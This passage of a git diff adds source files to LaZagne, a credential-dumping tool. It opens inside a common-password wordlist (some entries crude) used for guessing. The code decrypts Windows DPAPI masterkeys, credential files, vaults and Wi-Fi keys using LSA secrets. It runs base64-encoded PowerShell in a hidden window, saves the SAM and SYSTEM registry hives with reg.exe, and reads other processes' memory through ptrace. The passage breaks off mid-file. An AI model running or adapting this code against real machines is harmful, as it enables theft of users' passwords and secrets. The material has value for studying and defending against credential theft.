|
||||
b"edward",
|
||||
b"raiders",
|
||||
b"porn",
|
||||
b"badboy",
|
||||
b"blowme",
|
||||
b"spanky",
|
||||
b"bigdaddy",
|
||||
b"johnson",
|
||||
b"chester",
|
||||
b"london",
|
||||
b"midnight",
|
||||
b"blue",
|
||||
b"fishing",
|
||||
b"000000",
|
||||
b"hannah",
|
||||
b"slayer",
|
||||
b"11111111",
|
||||
b"rachel",
|
||||
b"sexsex",
|
||||
b"redsox",
|
||||
b"thx1138",
|
||||
b"asdf",
|
||||
b"marlboro",
|
||||
b"panther",
|
||||
b"zxcvbnm",
|
||||
b"arsenal",
|
||||
b"oliver",
|
||||
b"qazwsx",
|
||||
b"mother",
|
||||
b"victoria",
|
||||
b"7777777",
|
||||
b"jasper",
|
||||
b"angel",
|
||||
b"david",
|
||||
b"winner",
|
||||
b"crystal",
|
||||
b"golden",
|
||||
b"butthead",
|
||||
b"viking",
|
||||
b"jack",
|
||||
b"iwantb",
|
||||
b"shannon",
|
||||
b"murphy",
|
||||
b"angels",
|
||||
b"prince",
|
||||
b"cameron",
|
||||
b"girls",
|
||||
b"madison",
|
||||
b"wilson",
|
||||
b"carlos",
|
||||
b"hooters",
|
||||
b"willie",
|
||||
b"startrek",
|
||||
b"captain",
|
||||
b"maddog",
|
||||
b"jasmine",
|
||||
b"butter",
|
||||
b"booger",
|
||||
b"angela",
|
||||
b"golf",
|
||||
b"lauren",
|
||||
b"rocket",
|
||||
b"tiffany",
|
||||
b"theman",
|
||||
b"dennis",
|
||||
b"liverpoo",
|
||||
b"flower",
|
||||
b"forever",
|
||||
b"green",
|
||||
b"jackie",
|
||||
b"muffin",
|
||||
b"turtle",
|
||||
b"sophie",
|
||||
b"danielle",
|
||||
b"redskins",
|
||||
b"toyota",
|
||||
b"jason",
|
||||
b"sierra",
|
||||
b"winston",
|
||||
b"debbie",
|
||||
b"giants",
|
||||
b"packers",
|
||||
b"newyork",
|
||||
b"jeremy",
|
||||
b"casper",
|
||||
b"bubba",
|
||||
b"112233",
|
||||
b"sandra",
|
||||
b"lovers",
|
||||
b"mountain",
|
||||
b"united",
|
||||
b"cooper",
|
||||
b"driver",
|
||||
b"tucker",
|
||||
b"helpme",
|
||||
b"fucking",
|
||||
b"pookie",
|
||||
b"lucky",
|
||||
b"maxwell",
|
||||
b"8675309",
|
||||
b"bear",
|
||||
b"suckit",
|
||||
b"gators",
|
||||
b"5150",
|
||||
b"222222",
|
||||
b"shithead",
|
||||
b"fuckoff",
|
||||
b"jaguar",
|
||||
b"monica",
|
||||
b"fred",
|
||||
b"happy",
|
||||
b"hotdog",
|
||||
b"tits",
|
||||
b"gemini",
|
||||
b"lover",
|
||||
b"xxxxxxxx",
|
||||
b"777777",
|
||||
b"canada",
|
||||
b"nathan",
|
||||
b"victor",
|
||||
b"florida",
|
||||
b"88888888",
|
||||
b"nicholas",
|
||||
b"rosebud",
|
||||
b"metallic",
|
||||
b"doctor",
|
||||
b"trouble",
|
||||
b"success",
|
||||
b"stupid",
|
||||
b"tomcat",
|
||||
b"warrior",
|
||||
b"peaches",
|
||||
b"apples",
|
||||
b"fish",
|
||||
b"qwertyui",
|
||||
b"magic",
|
||||
b"buddy",
|
||||
b"dolphins",
|
||||
b"rainbow",
|
||||
b"gunner",
|
||||
b"987654",
|
||||
b"freddy",
|
||||
b"alexis",
|
||||
b"braves",
|
||||
b"cock",
|
||||
b"2112",
|
||||
b"1212",
|
||||
b"cocacola",
|
||||
b"xavier",
|
||||
b"dolphin",
|
||||
b"testing",
|
||||
b"bond007",
|
||||
b"member",
|
||||
b"calvin",
|
||||
b"voodoo",
|
||||
b"7777",
|
||||
b"samson",
|
||||
b"alex",
|
||||
b"apollo",
|
||||
b"fire",
|
||||
b"tester",
|
||||
b"walter",
|
||||
b"beavis",
|
||||
b"voyager",
|
||||
b"peter",
|
||||
b"porno",
|
||||
b"bonnie",
|
||||
b"rush2112",
|
||||
b"beer",
|
||||
b"apple",
|
||||
b"scorpio",
|
||||
b"jonathan",
|
||||
b"skippy",
|
||||
b"sydney",
|
||||
b"scott",
|
||||
b"red123",
|
||||
b"power",
|
||||
b"gordon",
|
||||
b"travis",
|
||||
b"beaver",
|
||||
b"star",
|
||||
b"jackass",
|
||||
b"flyers",
|
||||
b"boobs",
|
||||
b"232323",
|
||||
b"zzzzzz",
|
||||
b"steve",
|
||||
b"rebecca",
|
||||
b"scorpion",
|
||||
b"doggie",
|
||||
b"legend",
|
||||
b"ou812",
|
||||
b"yankee",
|
||||
b"blazer",
|
||||
b"bill",
|
||||
b"runner",
|
||||
b"birdie",
|
||||
b"bitches",
|
||||
b"555555",
|
||||
b"parker",
|
||||
b"topgun",
|
||||
b"asdfasdf",
|
||||
b"heaven",
|
||||
b"viper",
|
||||
b"animal",
|
||||
b"2222",
|
||||
b"bigboy",
|
||||
b"4444",
|
||||
b"arthur",
|
||||
b"baby",
|
||||
b"private",
|
||||
b"godzilla",
|
||||
b"donald",
|
||||
b"williams",
|
||||
b"lifehack",
|
||||
b"phantom",
|
||||
b"dave",
|
||||
b"rock",
|
||||
b"august",
|
||||
b"sammy",
|
||||
b"cool",
|
||||
b"brian",
|
||||
b"platinum",
|
||||
b"jake",
|
||||
b"bronco",
|
||||
b"paul",
|
||||
b"mark",
|
||||
b"frank",
|
||||
b"heka6w2",
|
||||
b"copper",
|
||||
b"billy",
|
||||
b"cumshot",
|
||||
b"garfield",
|
||||
b"willow",
|
||||
b"cunt",
|
||||
b"little",
|
||||
b"carter",
|
||||
b"slut",
|
||||
b"albert",
|
||||
b"69696969",
|
||||
b"kitten",
|
||||
b"super",
|
||||
b"jordan23",
|
||||
b"eagle1",
|
||||
b"shelby",
|
||||
b"america",
|
||||
b"11111",
|
||||
b"jessie",
|
||||
b"house",
|
||||
b"free",
|
||||
b"123321",
|
||||
b"chevy",
|
||||
b"bullshit",
|
||||
b"white",
|
||||
b"broncos",
|
||||
b"horney",
|
||||
b"surfer",
|
||||
b"nissan",
|
||||
b"999999",
|
||||
b"saturn",
|
||||
b"airborne",
|
||||
b"elephant",
|
||||
b"marvin",
|
||||
b"shit",
|
||||
b"action",
|
||||
b"adidas",
|
||||
b"qwert",
|
||||
b"kevin",
|
||||
b"1313",
|
||||
b"explorer",
|
||||
b"walker",
|
||||
b"police",
|
||||
b"christin",
|
||||
b"december",
|
||||
b"benjamin",
|
||||
b"wolf",
|
||||
b"sweet",
|
||||
b"therock",
|
||||
b"king",
|
||||
b"online",
|
||||
b"dickhead",
|
||||
b"brooklyn",
|
||||
b"teresa",
|
||||
b"cricket",
|
||||
b"sharon",
|
||||
b"dexter",
|
||||
b"racing",
|
||||
b"penis",
|
||||
b"gregory",
|
||||
b"0000",
|
||||
b"teens",
|
||||
b"redwings",
|
||||
b"dreams",
|
||||
b"michigan",
|
||||
b"hentai",
|
||||
b"magnum",
|
||||
b"87654321",
|
||||
b"nothing",
|
||||
b"donkey",
|
||||
b"trinity",
|
||||
b"digital",
|
||||
b"333333",
|
||||
b"stella",
|
||||
b"cartman",
|
||||
b"guinness",
|
||||
b"123abc",
|
||||
b"speedy",
|
||||
b"buffalo",
|
||||
b"kitty"]
|
186
lazagne/config/dpapi_structure.py
Normal file
186
lazagne/config/dpapi_structure.py
Normal file
@ -0,0 +1,186 @@
|
||||
#!/usr/bin/python
|
||||
# -*- coding: utf-8 -*-
|
||||
import codecs
|
||||
import os
|
||||
|
||||
from lazagne.config.DPAPI.masterkey import MasterKeyPool
|
||||
from lazagne.config.DPAPI.credfile import CredFile
|
||||
from lazagne.config.DPAPI.vault import Vault
|
||||
from lazagne.config.DPAPI.blob import DPAPIBlob
|
||||
from lazagne.config.write_output import print_debug
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.softwares.windows.lsa_secrets import LSASecrets
|
||||
|
||||
|
||||
def are_masterkeys_retrieved():
|
||||
"""
|
||||
Before running modules using DPAPI, we have to retrieve masterkeys
|
||||
otherwise, we do not realize these checks
|
||||
"""
|
||||
current_user = constant.username
|
||||
if constant.pypykatz_result.get(current_user, None):
|
||||
password = constant.pypykatz_result[current_user].get('Password', None)
|
||||
pwdhash = constant.pypykatz_result[current_user].get('Shahash', None)
|
||||
|
||||
# Create one DPAPI object by user
|
||||
constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash)
|
||||
|
||||
if not constant.user_dpapi or not constant.user_dpapi.unlocked:
|
||||
# constant.user_password represents the password entered manually by the user
|
||||
constant.user_dpapi = UserDpapi(password=constant.user_password)
|
||||
|
||||
# Add username to check username equals passwords
|
||||
constant.user_dpapi.check_credentials([constant.username] + constant.password_found)
|
||||
|
||||
# Return True if at least one masterkey has been decrypted
|
||||
return constant.user_dpapi.unlocked
|
||||
|
||||
|
||||
def manage_response(ok, msg):
|
||||
if ok:
|
||||
return msg
|
||||
else:
|
||||
print_debug('DEBUG', u'{msg}'.format(msg=msg))
|
||||
return False
|
||||
|
||||
|
||||
class UserDpapi(object):
|
||||
"""
|
||||
User class for DPAPI functions
|
||||
"""
|
||||
|
||||
def __init__(self, password=None, pwdhash=None):
|
||||
self.sid = None
|
||||
self.umkp = None
|
||||
self.unlocked = False
|
||||
|
||||
protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect')
|
||||
credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST')
|
||||
|
||||
if os.path.exists(protect_folder):
|
||||
for folder in os.listdir(protect_folder):
|
||||
if folder.startswith('S-'):
|
||||
self.sid = folder
|
||||
break
|
||||
|
||||
if self.sid:
|
||||
masterkeydir = os.path.join(protect_folder, self.sid)
|
||||
if os.path.exists(masterkeydir):
|
||||
self.umkp = MasterKeyPool()
|
||||
self.umkp.load_directory(masterkeydir)
|
||||
self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file)
|
||||
|
||||
if password:
|
||||
for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
|
||||
if ok:
|
||||
self.unlocked = True
|
||||
print_debug('OK', r)
|
||||
else:
|
||||
print_debug('ERROR', r)
|
||||
|
||||
elif pwdhash:
|
||||
for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')):
|
||||
if ok:
|
||||
self.unlocked = True
|
||||
print_debug('OK', r)
|
||||
else:
|
||||
print_debug('ERROR', r)
|
||||
|
||||
def check_credentials(self, passwords):
|
||||
if self.umkp:
|
||||
for password in passwords:
|
||||
for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
|
||||
if ok:
|
||||
self.unlocked = True
|
||||
print_debug('OK', r)
|
||||
else:
|
||||
print_debug('ERROR', r)
|
||||
|
||||
def decrypt_blob(self, dpapi_blob):
|
||||
"""
|
||||
Decrypt DPAPI Blob
|
||||
"""
|
||||
if self.umkp:
|
||||
blob = DPAPIBlob(dpapi_blob)
|
||||
ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp)
|
||||
return manage_response(ok, msg)
|
||||
|
||||
def decrypt_cred(self, credfile):
|
||||
"""
|
||||
Decrypt Credential Files
|
||||
"""
|
||||
if self.umkp:
|
||||
with open(credfile, 'rb') as f:
|
||||
c = CredFile(f.read())
|
||||
ok, msg = c.decrypt(self.umkp, credfile)
|
||||
return manage_response(ok, msg)
|
||||
|
||||
def decrypt_vault(self, vaults_dir):
|
||||
"""
|
||||
Decrypt Vault Files
|
||||
"""
|
||||
if self.umkp:
|
||||
v = Vault(vaults_dir=vaults_dir)
|
||||
ok, msg = v.decrypt(mkp=self.umkp)
|
||||
return manage_response(ok, msg)
|
||||
|
||||
def decrypt_encrypted_blob(self, ciphered, entropy_hex=False):
|
||||
"""
|
||||
Decrypt encrypted blob
|
||||
"""
|
||||
if self.umkp:
|
||||
blob = DPAPIBlob(ciphered)
|
||||
ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex)
|
||||
return manage_response(ok, msg)
|
||||
|
||||
def get_dpapi_hash(self, context='local'):
|
||||
"""
|
||||
Retrieve DPAPI hash to bruteforce it using john or hashcat.
|
||||
"""
|
||||
if self.umkp:
|
||||
return self.umkp.get_dpapi_hash(sid=self.sid, context=context)
|
||||
|
||||
def get_cleartext_password(self):
|
||||
"""
|
||||
Retrieve cleartext password associated to the preferred user maskterkey.
|
||||
This password should represent the windows user password.
|
||||
"""
|
||||
if self.umkp:
|
||||
return self.umkp.get_cleartext_password()
|
||||
|
||||
|
||||
class SystemDpapi(object):
|
||||
"""
|
||||
System class for DPAPI functions
|
||||
Need to have high privilege
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.smkp = None
|
||||
self.unlocked = False
|
||||
|
||||
if not constant.lsa_secrets:
|
||||
# Retrieve LSA secrets
|
||||
LSASecrets().run()
|
||||
|
||||
if constant.lsa_secrets:
|
||||
masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User'
|
||||
if os.path.exists(masterkeydir):
|
||||
self.smkp = MasterKeyPool()
|
||||
self.smkp.load_directory(masterkeydir)
|
||||
self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM'])
|
||||
for ok, r in self.smkp.try_system_credential():
|
||||
if ok:
|
||||
print_debug('OK', r)
|
||||
self.unlocked = True
|
||||
else:
|
||||
print_debug('ERROR', r)
|
||||
|
||||
def decrypt_wifi_blob(self, key_material):
|
||||
"""
|
||||
Decrypt wifi password
|
||||
"""
|
||||
if self.smkp:
|
||||
blob = DPAPIBlob(codecs.decode(key_material, 'hex'))
|
||||
ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp)
|
||||
return manage_response(ok, msg)
|
100
lazagne/config/execute_cmd.py
Normal file
100
lazagne/config/execute_cmd.py
Normal file
@ -0,0 +1,100 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# !/usr/bin/python
|
||||
import base64
|
||||
import os
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
from lazagne.config.write_output import print_debug
|
||||
from lazagne.config.constant import constant
|
||||
|
||||
try:
|
||||
import _subprocess as sub
|
||||
STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
|
||||
SW_HIDE = sub.SW_HIDE
|
||||
except ImportError:
|
||||
STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
|
||||
SW_HIDE = subprocess.SW_HIDE
|
||||
|
||||
|
||||
def powershell_execute(script, func):
|
||||
"""
|
||||
Execute a powershell script
|
||||
"""
|
||||
output = ""
|
||||
try:
|
||||
script = re.sub("Write-Verbose ", "Write-Output ", script, flags=re.I)
|
||||
script = re.sub("Write-Error ", "Write-Output ", script, flags=re.I)
|
||||
script = re.sub("Write-Warning ", "Write-Output ", script, flags=re.I)
|
||||
|
||||
full_args = ["powershell.exe", "-NoProfile", "-NoLogo", "-C", "-"]
|
||||
|
||||
info = subprocess.STARTUPINFO()
|
||||
info.dwFlags = STARTF_USESHOWWINDOW
|
||||
info.wShowWindow = SW_HIDE
|
||||
|
||||
p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
|
||||
stdout=subprocess.PIPE, universal_newlines=True, shell=True)
|
||||
p.stdin.write("$base64=\"\"" + "\n")
|
||||
|
||||
n = 25000
|
||||
b64_script = base64.b64encode(script)
|
||||
tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)]
|
||||
for t in tab:
|
||||
p.stdin.write("$base64+=\"%s\"\n" % t)
|
||||
p.stdin.flush()
|
||||
|
||||
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
|
||||
p.stdin.write("Invoke-Expression $d\n")
|
||||
|
||||
p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % func)
|
||||
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
||||
p.stdin.write("Write-Host \"[BEGIN]\"\n")
|
||||
p.stdin.write("Write-Host $b\n")
|
||||
|
||||
# begin flag used to remove possible bullshit output print before the func is launched
|
||||
if '[BEGIN]' in p.stdout.readline():
|
||||
# Get the result in base64
|
||||
for i in p.stdout.readline():
|
||||
output += i
|
||||
output = base64.b64decode(output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def save_hives():
|
||||
"""
|
||||
Save SAM Hives
|
||||
"""
|
||||
for h in constant.hives:
|
||||
if not os.path.exists(constant.hives[h]):
|
||||
try:
|
||||
cmdline = 'reg.exe save hklm\%s %s' % (h, constant.hives[h])
|
||||
command = ['cmd.exe', '/c', cmdline]
|
||||
info = subprocess.STARTUPINFO()
|
||||
info.dwFlags = STARTF_USESHOWWINDOW
|
||||
info.wShowWindow = SW_HIDE
|
||||
p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
|
||||
stdout=subprocess.PIPE, universal_newlines=True)
|
||||
results, _ = p.communicate()
|
||||
except Exception as e:
|
||||
print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e))
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def delete_hives():
|
||||
"""
|
||||
Delete SAM Hives
|
||||
"""
|
||||
# Try to remove all temporary files
|
||||
for h in constant.hives:
|
||||
if os.path.exists(constant.hives[h]):
|
||||
try:
|
||||
os.remove(constant.hives[h])
|
||||
print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h]))
|
||||
except Exception:
|
||||
print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h]))
|
||||
|
0
lazagne/config/lib/__init__.py
Normal file
0
lazagne/config/lib/__init__.py
Normal file
111
lazagne/config/lib/memorpy/Address.py
Normal file
111
lazagne/config/lib/memorpy/Address.py
Normal file
@ -0,0 +1,111 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from .utils import *
|
||||
|
||||
class AddressException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class Address(object):
|
||||
""" this class is used to have better representation of memory addresses """
|
||||
|
||||
def __init__(self, value, process, default_type = 'uint'):
|
||||
self.value = int(value)
|
||||
self.process = process
|
||||
self.default_type = default_type
|
||||
self.symbolic_name = None
|
||||
|
||||
def read(self, type = None, maxlen = None, errors='raise'):
|
||||
if maxlen is None:
|
||||
try:
|
||||
int(type)
|
||||
maxlen = int(type)
|
||||
type = None
|
||||
except:
|
||||
pass
|
||||
|
||||
if not type:
|
||||
type = self.default_type
|
||||
if not maxlen:
|
||||
return self.process.read(self.value, type=type, errors=errors)
|
||||
else:
|
||||
return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors)
|
||||
|
||||
def write(self, data, type = None):
|
||||
if not type:
|
||||
type = self.default_type
|
||||
return self.process.write(self.value, data, type=type)
|
||||
|
||||
def symbol(self):
|
||||
return self.process.get_symbolic_name(self.value)
|
||||
|
||||
def get_instruction(self):
|
||||
return self.process.get_instruction(self.value)
|
||||
|
||||
def dump(self, ftype = 'bytes', size = 512, before = 32):
|
||||
buf = self.process.read_bytes(self.value - before, size)
|
||||
print(hex_dump(buf, self.value - before, ftype=ftype))
|
||||
|
||||
def __nonzero__(self):
|
||||
return self.value is not None and self.value != 0
|
||||
|
||||
def __add__(self, other):
|
||||
return Address(self.value + int(other), self.process, self.default_type)
|
||||
|
||||
def __sub__(self, other):
|
||||
return Address(self.value - int(other), self.process, self.default_type)
|
||||
|
||||
def __repr__(self):
|
||||
if not self.symbolic_name:
|
||||
self.symbolic_name = self.symbol()
|
||||
return str('<Addr: %s' % self.symbolic_name + '>')
|
||||
|
||||
def __str__(self):
|
||||
if not self.symbolic_name:
|
||||
self.symbolic_name = self.symbol()
|
||||
return str('<Addr: %s' % self.symbolic_name + ' : "%s" (%s)>' % (str(self.read()).encode('unicode_escape'), self.default_type))
|
||||
|
||||
def __int__(self):
|
||||
return int(self.value)
|
||||
|
||||
def __hex__(self):
|
||||
return hex(self.value)
|
||||
|
||||
def __get__(self, instance, owner):
|
||||
return self.value
|
||||
|
||||
def __set__(self, instance, value):
|
||||
self.value = int(value)
|
||||
|
||||
def __lt__(self, other):
|
||||
return self.value < int(other)
|
||||
|
||||
def __le__(self, other):
|
||||
return self.value <= int(other)
|
||||
|
||||
def __eq__(self, other):
|
||||
return self.value == int(other)
|
||||
|
||||
def __ne__(self, other):
|
||||
return self.value != int(other)
|
||||
|
||||
def __gt__(self, other):
|
||||
return self.value > int(other)
|
||||
|
||||
def __ge__(self, other):
|
||||
return self.value >= int(other)
|
||||
|
66
lazagne/config/lib/memorpy/BaseProcess.py
Normal file
66
lazagne/config/lib/memorpy/BaseProcess.py
Normal file
@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
import struct
|
||||
|
||||
from .utils import *
|
||||
|
||||
|
||||
""" Base class for process not linked to any platform """
|
||||
|
||||
class ProcessException(Exception):
|
||||
pass
|
||||
|
||||
class BaseProcess(object):
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
""" Create and Open a process object from its pid or from its name """
|
||||
self.h_process = None
|
||||
self.pid = None
|
||||
self.isProcessOpen = False
|
||||
self.buffer = None
|
||||
self.bufferlen = 0
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def close(self):
|
||||
pass
|
||||
def iter_region(self, *args, **kwargs):
|
||||
raise NotImplementedError
|
||||
def write_bytes(self, address, data):
|
||||
raise NotImplementedError
|
||||
|
||||
def read_bytes(self, address, bytes = 4):
|
||||
raise NotImplementedError
|
||||
|
||||
def get_symbolic_name(self, address):
|
||||
return '0x%08X' % int(address)
|
||||
|
||||
def read(self, address, type = 'uint', maxlen = 50, errors='raise'):
|
||||
if type == 's' or type == 'string':
|
||||
s = self.read_bytes(int(address), bytes=maxlen)
|
||||
|
||||
try:
|
||||
idx = s.index(b'\x00')
|
||||
return s[:idx]
|
||||
except:
|
||||
if errors == 'ignore':
|
||||
return s
|
||||
|
||||
raise ProcessException('string > maxlen')
|
||||
|
||||
else:
|
||||
if type == 'bytes' or type == 'b':
|
||||
return self.read_bytes(int(address), bytes=maxlen)
|
||||
s, l = type_unpack(type)
|
||||
return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]
|
||||
|
||||
def write(self, address, data, type = 'uint'):
|
||||
if type != 'bytes':
|
||||
s, l = type_unpack(type)
|
||||
return self.write_bytes(int(address), struct.pack(s, data))
|
||||
else:
|
||||
return self.write_bytes(int(address), data)
|
||||
|
||||
|
296
lazagne/config/lib/memorpy/LinProcess.py
Normal file
296
lazagne/config/lib/memorpy/LinProcess.py
Normal file
@ -0,0 +1,296 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import copy
|
||||
import struct
|
||||
# import utils
|
||||
import platform
|
||||
import ctypes, re, sys
|
||||
from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno
|
||||
import errno
|
||||
import os
|
||||
import signal
|
||||
from .BaseProcess import BaseProcess, ProcessException
|
||||
from .structures import *
|
||||
import logging
|
||||
|
||||
logger = logging.getLogger('memorpy')
|
||||
|
||||
libc=ctypes.CDLL("libc.so.6", use_errno=True)
|
||||
get_errno_loc = libc.__errno_location
|
||||
get_errno_loc.restype = POINTER(c_int)
|
||||
|
||||
def errcheck(ret, func, args):
|
||||
if ret == -1:
|
||||
_errno = get_errno() or errno.EPERM
|
||||
raise OSError(os.strerror(_errno))
|
||||
return ret
|
||||
|
||||
c_ptrace = libc.ptrace
|
||||
c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t
|
||||
c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p]
|
||||
c_ptrace.restype = c_long
|
||||
mprotect = libc.mprotect
|
||||
mprotect.restype = c_int
|
||||
mprotect.argtypes = [c_void_p, c_size_t, c_int]
|
||||
LARGE_FILE_SUPPORT=False
|
||||
try:
|
||||
c_off64_t=ctypes.c_longlong
|
||||
lseek64 = libc.lseek64
|
||||
lseek64.argtypes = [c_int, c_off64_t, c_int]
|
||||
lseek64.errcheck=errcheck
|
||||
open64 = libc.open64
|
||||
open64.restype = c_int
|
||||
open64.argtypes = [c_void_p, c_int]
|
||||
open64.errcheck=errcheck
|
||||
pread64=libc.pread64
|
||||
pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t]
|
||||
pread64.restype = c_ssize_t
|
||||
pread64.errcheck=errcheck
|
||||
c_close=libc.close
|
||||
c_close.argtypes = [c_int]
|
||||
c_close.restype = c_int
|
||||
LARGE_FILE_SUPPORT=True
|
||||
except:
|
||||
logger.warning("no Large File Support")
|
||||
|
||||
class LinProcess(BaseProcess):
|
||||
def __init__(self, pid=None, name=None, debug=True, ptrace=None):
|
||||
""" Create and Open a process object from its pid or from its name """
|
||||
super(LinProcess, self).__init__()
|
||||
self.mem_file=None
|
||||
self.ptrace_started=False
|
||||
if pid is not None:
|
||||
self.pid=pid
|
||||
elif name is not None:
|
||||
self.pid=LinProcess.pid_from_name(name)
|
||||
else:
|
||||
raise ValueError("You need to instanciate process with at least a name or a pid")
|
||||
if ptrace is None:
|
||||
if os.getuid()==0:
|
||||
self.read_ptrace=False # no need to ptrace the process when root to read memory
|
||||
else:
|
||||
self.read_ptrace=True
|
||||
self._open()
|
||||
|
||||
def check_ptrace_scope(self):
|
||||
""" check ptrace scope and raise an exception if privileges are unsufficient
|
||||
|
||||
The sysctl settings (writable only with CAP_SYS_PTRACE) are:
|
||||
|
||||
0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other
|
||||
process running under the same uid, as long as it is dumpable (i.e.
|
||||
did not transition uids, start privileged, or have called
|
||||
prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is
|
||||
unchanged.
|
||||
|
||||
1 - restricted ptrace: a process must have a predefined relationship
|
||||
with the inferior it wants to call PTRACE_ATTACH on. By default,
|
||||
this relationship is that of only its descendants when the above
|
||||
classic criteria is also met. To change the relationship, an
|
||||
inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare
|
||||
an allowed debugger PID to call PTRACE_ATTACH on the inferior.
|
||||
Using PTRACE_TRACEME is unchanged.
|
||||
|
||||
2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace
|
||||
with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
|
||||
|
||||
3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via
|
||||
PTRACE_TRACEME. Once set, this sysctl value cannot be changed.
|
||||
"""
|
||||
try:
|
||||
with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f:
|
||||
ptrace_scope=int(f.read().strip())
|
||||
if ptrace_scope==3:
|
||||
logger.warning("yama/ptrace_scope == 3 (no attach). :/")
|
||||
if os.getuid()==0:
|
||||
return
|
||||
elif ptrace_scope == 1:
|
||||
logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root")
|
||||
elif ptrace_scope == 2:
|
||||
logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE")
|
||||
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
logger.warning("Error getting ptrace_scope ?? : %s"%e)
|
||||
|
||||
def close(self):
|
||||
if self.mem_file:
|
||||
if not LARGE_FILE_SUPPORT:
|
||||
self.mem_file.close()
|
||||
else:
|
||||
c_close(self.mem_file)
|
||||
self.mem_file=None
|
||||
if self.ptrace_started:
|
||||
self.ptrace_detach()
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def _open(self):
|
||||
self.isProcessOpen = True
|
||||
self.check_ptrace_scope()
|
||||
if os.getuid()!=0:
|
||||
#to raise an exception if ptrace is not allowed
|
||||
self.ptrace_attach()
|
||||
self.ptrace_detach()
|
||||
|
||||
#open file descriptor
|
||||
if not LARGE_FILE_SUPPORT:
|
||||
self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0)
|
||||
else:
|
||||
path=create_string_buffer(b"/proc/%d/mem" % self.pid)
|
||||
self.mem_file=open64(byref(path), os.O_RDONLY)
|
||||
|
||||
@staticmethod
|
||||
def list():
|
||||
processes=[]
|
||||
for pid in os.listdir("/proc"):
|
||||
try:
|
||||
exe=os.readlink("/proc/%s/exe"%pid)
|
||||
processes.append({"pid":int(pid), "name":exe})
|
||||
except:
|
||||
pass
|
||||
return processes
|
||||
|
||||
@staticmethod
|
||||
